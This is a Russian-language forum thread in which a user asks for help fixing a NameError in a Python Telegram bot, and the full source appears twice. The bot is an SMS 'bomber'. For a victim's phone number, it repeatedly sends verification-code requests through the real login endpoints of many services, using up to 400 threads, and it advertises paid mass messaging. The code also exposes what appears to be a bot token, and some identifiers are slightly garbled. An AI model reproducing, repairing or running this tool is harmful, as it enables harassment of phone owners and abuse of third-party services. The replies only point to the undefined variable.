При запуске выдает ошибки - NameError: name 'phone' is not define, питонщики, посмотрите плиз Code import requests import threading from datetime import datetime, timedelta from telebot import TeleBot import telebot import time TOKEN = '919231657:AAGMSqaHYMIJgBlZO-UvUsr_5G3nyl-S7Oc' THREADS_LIMIT = 400 chat_ids_file = 'chat_ids.txt' ADMIN_CHAT_ID = 97725 users_amount = [0] threads = list() THREADS_AMOUNT = [0] types = telebot.types bot = TeleBot(TOKEN) running_spams_per_chat_id = [] def save_chat_id(chat_id): "Функция добавляет чат айди в файл если его там нету" chat_id = str(chat_id) with open(chat_ids_file,"a+") as ids_file: ids_file.seek(0) ids_list = [line.split('\n')[0] for line in ids_file] if chat_id not in ids_list: ids_file.write(f'{chat_id}\n') ids_list.append(chat_id) print(f'New chat_id saved: {chat_id}') else: print(f'chat_id {chat_id} is already saved') users_amount[0] = len(ids_list) return def send_message_users(message): def send_message(chat_id): data = { 'chat_id': chat_id, 'text': message } response = requests.post(f'https://api.telegram.org/bot{TOKEN}/sendMessage', data=data) with open(chat_ids_file, "r") as ids_file: ids_list = [line.split('\n')[0] for line in ids_file] [send_message(chat_id) for chat_id in ids_list] @bot.message_handler(commands=['start']) def start(message): keyboard = types.ReplyKeyboardMarkup(row_width=2, resize_keyboard=True) boom = types.KeyboardButton(text='БОМБЕР') stop = types.KeyboardButton(text='Остановить флуд') info = types.KeyboardButton(text='ℹ️Информация') stats = types.KeyboardButton(text='Статистика') donat = types.KeyboardButton(text='Поддержать') piar = types.KeyboardButton(text=' Реклама') faq = types.KeyboardButton(text='FAQ / Соглашение') buttons_to_add = [boom, stop, info, stats, donat, piar, faq] if int(message.chat.id) == ADMIN_CHAT_ID: buttons_to_add.append(types.KeyboardButton(text='Рассылка')) keyboard.add(*buttons_to_add) bot.send_message(message.chat.id, 'Добро пожаловать♂!\nВыберите действие:', reply_markup=keyboard) save_chat_id(message.chat.id) def send_for_number(phone): request_timeout = 0.00001 requests.post('https://api.sunlight.net/v3/customers/authorization/', data={'phone': phone}) requests.post('https://lk.invitro.ru/lk2/lka/patient/refreshCode', data={'phone': phone}) requests.post('https://online.sbis.ru/reg/service/', json={'jsonrpc':'2.0','protocol':'5','method':'Пользователь.ЗаявкаНаФизика','params':{'phone':phone},'id':'1'}) requests.post('https://myapi.beltelecom.by/api/v1/auth/check-phone?lang=ru', data={'phone': phone}) requests.post('https://lenta.com/api/v1/authentication/requestValidationCode', json={'phone': '+' + phone}) requests.post('https://mcdonalds.ru/api/auth/code', json={'phone': '+' + phone}) requests.post('https://www.citilink.ru/registration/confirm/phone/+'+phone+'/') requests.post('https://rutube.ru/api/accounts/sendpass/phone', data={'phone': '+'+phone}) requests.post('https://drugvokrug.ru/siteActions/processSms.htm', data={'cell': phone}) requests.post('https://www.rabota.ru/remind', data={'credential': phone}) requests.post('https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru', data={'phone_number': phone}, headers={}) requests.post('https://belkacar.ru/get-confirmation-code', data={'phone': phone}, headers={}) requests.post('https://p.grabtaxi.com/api/passenger/v2/profiles/register', data={'phoneNumber': phone,'countryCode': 'ID','name': 'test','email': 'mail@mail.com','deviceToken': '*'}, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36'}) def start_spam(chat_id, phone_number, force): running_spams_per_chat_id.append(chat_id) if force: msg = f'Флуд запущен на неограниченое время для номера +{phone_number}' else: msg = f'Флуд запущен на 20 минут на номер +{phone_number}' bot.send_message(chat_id, msg) end = datetime.now() + timedelta(minutes = 20) while (datetime.now() < end) or (force and chat_id==ADMIN_CHAT_ID): if chat_id not in running_spams_per_chat_id: break send_for_number(phone_number) bot.send_message(chat_id, f'Спам на номер {phone_number} завершён') THREADS_AMOUNT[0] -= 1 # стояло 1 try: running_spams_per_cзнhat_id.remove(chat_id) except Exception: pass def spam_handler(phone, chat_id, force): if int(chat_id) in running_spams_per_chat_id: bot.send_message(chat_id, 'Вы уже включали флуд. Дождитесь окончания или нажмите Остановить флуд и поробуйте снова') return if THREADS_AMOUNT[0] < THREADS_LIMIT: x = threading.Thread(target=start_spam, args=(chat_id, phone, force)) threads.append(x) THREADS_AMOUNT[0] += 1 x.start() else: bot.send_message(chat_id, 'Сервера сейчас перегружены. Попытайтесь снова через несколько минут') print('Максимальное количество тредов исполняется. Действие отменено.') @bot.message_handler(content_types=['text']) def handle_message_received(message): chat_id = int(message.chat.id) text = message.text if text == 'ℹ️Информация': bot.send_message(chat_id, 'Создатель бота\nПо вопросам сотрудничества обращаться в ЛС к создателю бота') elif text == 'БОМБЕР': bot.send_message(chat_id, 'Введите номер без + в формате:\n 380xxxxxxxxx\n 79xxxxxxxxx') elif text == 'Статистика': bot.send_message(chat_id, f'Статистика отображается в реальном времени!\nПользователей♂: {users_amount[0]}\nСервисов для RU: 25\nСервисов для UK: 10\nБот запущен: 12.06.2019') elif text == 'Поддержать': bot.send_message(chat_id, 'Ребята, кто может материально помочь на развитие бота\nВот реквизиты\nQIWI ') elif text == ' Реклама': bot.send_message(chat_id, 'В Нашем Боте 1 рассылка стоит 100 рублей\nЕе получат все пользователи бота\nПо вопросам покупки писать') elif text == 'Рассылка' and chat_id==ADMIN_CHAT_ID: bot.send_message(chat_id, 'Введите сообщение в формате: "РАЗОСЛАТЬ: ваш_текст" без кавычек') elif text == 'FAQ / Соглашение': bot.send_message(chat_id, '"Andromeda" предлагается Вашему вниманию при условии Вашего полного согласия со всеми правилами. При доступе или использовании данного сервиса каким-либо образом Вы даете согласие действовать в рамках Пользовательского соглашения\nПОЛЬЗОВАТЕЛЬСКОЕ СОГЛАШЕНИЕ\n1.Настоящее Пользовательское соглашение (далее – Соглашение) относится к сервису информационно-развлекательного ресурса "Andromeda"\n2.Доступ к сервису предоставляется на бесплатной основе.\n3."Andromeda" сервис предназначен исключительно для развлекательных целей.\n4.На Администрацию сервиса не возлагается каких-либо обязательств перед пользователями.\n5.Администрация сайта не принимает встречные предложения от Пользователей относительно изменений настоящего Пользовательского соглашения.\n6.Администрация сервиса "Andromeda" Не несет ответственности за причиненный ущерб третьим лицам попавших под влияние сервиса.\nСпасибо за внимание!') elif text == 'Остановить флуд': if chat_id not in running_spams_per_chat_id: bot.send_message(chat_id, 'Вы еще не начинали флуд') else: running_spams_per_chat_id.remove(chat_id) elif 'РАЗОСЛАТЬ: ' in text and chat_id==ADMIN_CHAT_ID: msg = text.replace("РАЗОСЛАТЬ: ","") send_message_users(msg) elif len(text) == 11: phone = text spam_handler(phone, chat_id, force=False) elif len(text) == 12: phone = text spam_handler(phone, chat_id, force=False) elif len(text) == 12 and chat_id==ADMIN_CHAT_ID and text[0]=='_': phone = text[1:] spam_handler(phone, chat_id, force=True) else: bot.send_message(chat_id, f'Номер введен неправильно. Введено {len(text)} символов, ожидается 11') print(f'Номер введен неправильно. Введено {len(text)} символов, ожидается 11') if __name__ == '__main__': bot.polling(none_stop=True) Code import requests import threading from datetime import datetime, timedelta from telebot import TeleBot import telebot import time TOKEN = '919231657:AAGMSqaHYMIJgBlZO-UvUsr_5G3nyl-S7Oc' THREADS_LIMIT = 400 chat_ids_file = 'chat_ids.txt' ADMIN_CHAT_ID = 97725 users_amount = [0] threads = list() THREADS_AMOUNT = [0] types = telebot.types bot = TeleBot(TOKEN) running_spams_per_chat_id = [] def save_chat_id(chat_id): "Функция добавляет чат айди в файл если его там нету" chat_id = str(chat_id) with open(chat_ids_file,"a+") as ids_file: ids_file.seek(0) ids_list = [line.split('\n')[0] for line in ids_file] if chat_id not in ids_list: ids_file.write(f'{chat_id}\n') ids_list.append(chat_id) print(f'New chat_id saved: {chat_id}') else: print(f'chat_id {chat_id} is already saved') users_amount[0] = len(ids_list) return def send_message_users(message): def send_message(chat_id): data = { 'chat_id': chat_id, 'text': message } response = requests.post(f'https://api.telegram.org/bot{TOKEN}/sendMessage', data=data) with open(chat_ids_file, "r") as ids_file: ids_list = [line.split('\n')[0] for line in ids_file] [send_message(chat_id) for chat_id in ids_list] @bot.message_handler(commands=['start']) def start(message): keyboard = types.ReplyKeyboardMarkup(row_width=2, resize_keyboard=True) boom = types.KeyboardButton(text='БОМБЕР') stop = types.KeyboardButton(text='Остановить флуд') info = types.KeyboardButton(text='ℹ️Информация') stats = types.KeyboardButton(text='Статистика') donat = types.KeyboardButton(text='Поддержать') piar = types.KeyboardButton(text=' Реклама') faq = types.KeyboardButton(text='FAQ / Соглашение') buttons_to_add = [boom, stop, info, stats, donat, piar, faq] if int(message.chat.id) == ADMIN_CHAT_ID: buttons_to_add.append(types.KeyboardButton(text='Рассылка')) keyboard.add(*buttons_to_add) bot.send_message(message.chat.id, 'Добро пожаловать♂!\nВыберите действие:', reply_markup=keyboard) save_chat_id(message.chat.id) def send_for_number(phone): request_timeout = 0.00001 requests.post('https://api.sunlight.net/v3/customers/authorization/', data={'phone': phone}) requests.post('https://lk.invitro.ru/lk2/lka/patient/refreshCode', data={'phone': phone}) requests.post('https://online.sbis.ru/reg/service/', json={'jsonrpc':'2.0','protocol':'5','method':'Пользователь.ЗаявкаНаФизика','params':{'phone':phone},'id':'1'}) requests.post('https://myapi.beltelecom.by/api/v1/auth/check-phone?lang=ru', data={'phone': phone}) requests.post('https://lenta.com/api/v1/authentication/requestValidationCode', json={'phone': '+' + phone}) requests.post('https://mcdonalds.ru/api/auth/code', json={'phone': '+' + phone}) requests.post('https://www.citilink.ru/registration/confirm/phone/+'+phone+'/') requests.post('https://rutube.ru/api/accounts/sendpass/phone', data={'phone': '+'+phone}) requests.post('https://drugvokrug.ru/siteActions/processSms.htm', data={'cell': phone}) requests.post('https://www.rabota.ru/remind', data={'credential': phone}) requests.post('https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru', data={'phone_number': phone}, headers={}) requests.post('https://belkacar.ru/get-confirmation-code', data={'phone': phone}, headers={}) requests.post('https://p.grabtaxi.com/api/passenger/v2/profiles/register', data={'phoneNumber': phone,'countryCode': 'ID','name': 'test','email': 'mail@mail.com','deviceToken': '*'}, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36'}) def start_spam(chat_id, phone_number, force): running_spams_per_chat_id.append(chat_id) if force: msg = f'Флуд запущен на неограниченое время для номера +{phone_number}' else: msg = f'Флуд запущен на 20 минут на номер +{phone_number}' bot.send_message(chat_id, msg) end = datetime.now() + timedelta(minutes = 20) while (datetime.now() < end) or (force and chat_id==ADMIN_CHAT_ID): if chat_id not in running_spams_per_chat_id: break send_for_number(phone_number) bot.send_message(chat_id, f'Спам на номер {phone_number} завершён') THREADS_AMOUNT[0] -= 1 # стояло 1 try: running_spams_per_cзнhat_id.remove(chat_id) except Exception: pass def spam_handler(phone, chat_id, force): if int(chat_id) in running_spams_per_chat_id: bot.send_message(chat_id, 'Вы уже включали флуд. Дождитесь окончания или нажмите Остановить флуд и поробуйте снова') return if THREADS_AMOUNT[0] < THREADS_LIMIT: x = threading.Thread(target=start_spam, args=(chat_id, phone, force)) threads.append(x) THREADS_AMOUNT[0] += 1 x.start() else: bot.send_message(chat_id, 'Сервера сейчас перегружены. Попытайтесь снова через несколько минут') print('Максимальное количество тредов исполняется. Действие отменено.') @bot.message_handler(content_types=['text']) def handle_message_received(message): chat_id = int(message.chat.id) text = message.text if text == 'ℹ️Информация': bot.send_message(chat_id, 'Создатель бота\nПо вопросам сотрудничества обращаться в ЛС к создателю бота') elif text == 'БОМБЕР': bot.send_message(chat_id, 'Введите номер без + в формате:\n 380xxxxxxxxx\n 79xxxxxxxxx') elif text == 'Статистика': bot.send_message(chat_id, f'Статистика отображается в реальном времени!\nПользователей♂: {users_amount[0]}\nСервисов для RU: 25\nСервисов для UK: 10\nБот запущен: 12.06.2019') elif text == 'Поддержать': bot.send_message(chat_id, 'Ребята, кто может материально помочь на развитие бота\nВот реквизиты\nQIWI ') elif text == ' Реклама': bot.send_message(chat_id, 'В Нашем Боте 1 рассылка стоит 100 рублей\nЕе получат все пользователи бота\nПо вопросам покупки писать') elif text == 'Рассылка' and chat_id==ADMIN_CHAT_ID: bot.send_message(chat_id, 'Введите сообщение в формате: "РАЗОСЛАТЬ: ваш_текст" без кавычек') elif text == 'FAQ / Соглашение': bot.send_message(chat_id, '"Andromeda" предлагается Вашему вниманию при условии Вашего полного согласия со всеми правилами. При доступе или использовании данного сервиса каким-либо образом Вы даете согласие действовать в рамках Пользовательского соглашения\nПОЛЬЗОВАТЕЛЬСКОЕ СОГЛАШЕНИЕ\n1.Настоящее Пользовательское соглашение (далее – Соглашение) относится к сервису информационно-развлекательного ресурса "Andromeda"\n2.Доступ к сервису предоставляется на бесплатной основе.\n3."Andromeda" сервис предназначен исключительно для развлекательных целей.\n4.На Администрацию сервиса не возлагается каких-либо обязательств перед пользователями.\n5.Администрация сайта не принимает встречные предложения от Пользователей относительно изменений настоящего Пользовательского соглашения.\n6.Администрация сервиса "Andromeda" Не несет ответственности за причиненный ущерб третьим лицам попавших под влияние сервиса.\nСпасибо за внимание!') elif text == 'Остановить флуд': if chat_id not in running_spams_per_chat_id: bot.send_message(chat_id, 'Вы еще не начинали флуд') else: running_spams_per_chat_id.remove(chat_id) elif 'РАЗОСЛАТЬ: ' in text and chat_id==ADMIN_CHAT_ID: msg = text.replace("РАЗОСЛАТЬ: ","") send_message_users(msg) elif len(text) == 11: phone = text spam_handler(phone, chat_id, force=False) elif len(text) == 12: phone = text spam_handler(phone, chat_id, force=False) elif len(text) == 12 and chat_id==ADMIN_CHAT_ID and text[0]=='_': phone = text[1:] spam_handler(phone, chat_id, force=True) else: bot.send_message(chat_id, f'Номер введен неправильно. Введено {len(text)} символов, ожидается 11') print(f'Номер введен неправильно. Введено {len(text)} символов, ожидается 11') if __name__ == '__main__': bot.polling(none_stop=True)
hsskks, хотя-бы в переводчик вставлял, тут уже и гуру быть не нужно.. Переменная phone не определена.
oriole, в ру не шарю, это бот нужен всего для 1 действия, кинул сюда, думал помогут, получил только пачку оскорблений
ну смотри у тебя функция принимает phone, а ты видимо вызываешь эту функцию без переменной либо же передавая несуществующую переменную The post was merged to previous Mar 24, 2020 так, у меня назрел вопрос, ты как его используешь? в тг пишешь боту или как?